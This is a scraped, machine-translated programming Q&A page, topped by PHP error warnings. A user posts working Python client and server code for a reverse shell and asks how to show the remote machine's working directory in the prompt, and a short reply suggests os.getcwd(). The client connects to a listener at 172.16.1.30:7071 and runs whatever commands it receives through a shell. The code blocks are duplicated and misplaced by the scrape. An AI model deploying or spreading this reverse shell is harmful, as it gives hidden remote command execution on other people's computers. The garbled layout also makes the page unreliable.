Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/312.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
在Python反向shell中将当前工作目录设置为输入提示符_Python_Shell_Input_Reverse_Prompt - Fatal编程技术网

在Python反向shell中将当前工作目录设置为输入提示符

在Python反向shell中将当前工作目录设置为输入提示符,python,shell,input,reverse,prompt,Python,Shell,Input,Reverse,Prompt,这是我用python编写的简单的反向shell。我正在努力让它变得更好 客户端代码: import socket import subprocess mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) mySocket.connect(('172.16.1.30', 7071)) cmd=mySocket.recv(100) while (cmd != 'exit'): cmdResult = subproc

这是我用python编写的简单的反向shell。我正在努力让它变得更好

客户端代码:

import socket
import subprocess

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)

while (cmd != 'exit'):
    cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    mySocket.send(cmdResult.communicate()[0])
    cmd = mySocket.recv(100)

mySocket.send('Shell closed by user.')
mySocket.close()
import socket

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])

while True:
    command=raw_input('Shell>')
    clntConn.send(command)
    result=clntConn.recv(1024)
    if (result == 'Shell closed by user.'):
        print result
        exit(0)
    else:
        print result
服务器端代码:

import socket
import subprocess

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)

while (cmd != 'exit'):
    cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    mySocket.send(cmdResult.communicate()[0])
    cmd = mySocket.recv(100)

mySocket.send('Shell closed by user.')
mySocket.close()
import socket

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])

while True:
    command=raw_input('Shell>')
    clntConn.send(command)
    result=clntConn.recv(1024)
    if (result == 'Shell closed by user.'):
        print result
        exit(0)
    else:
        print result
如“服务器端代码”中所示,原始输入提示为“Shell”。 如何将其更改为客户端上的当前工作目录

例如,如果客户端当前工作目录为“C:\Users\Test\Desktop\”

我有一个原始输入提示“C:\Users\Test\Desktop>”

谢谢。

您可以使用,它应该可以在Unix和Windows上运行

import os
cwd = os.getcwd()

我希望客户端有当前的工作目录,而不是服务器端。然后在客户端内运行该命令。不过,命令还是一样的。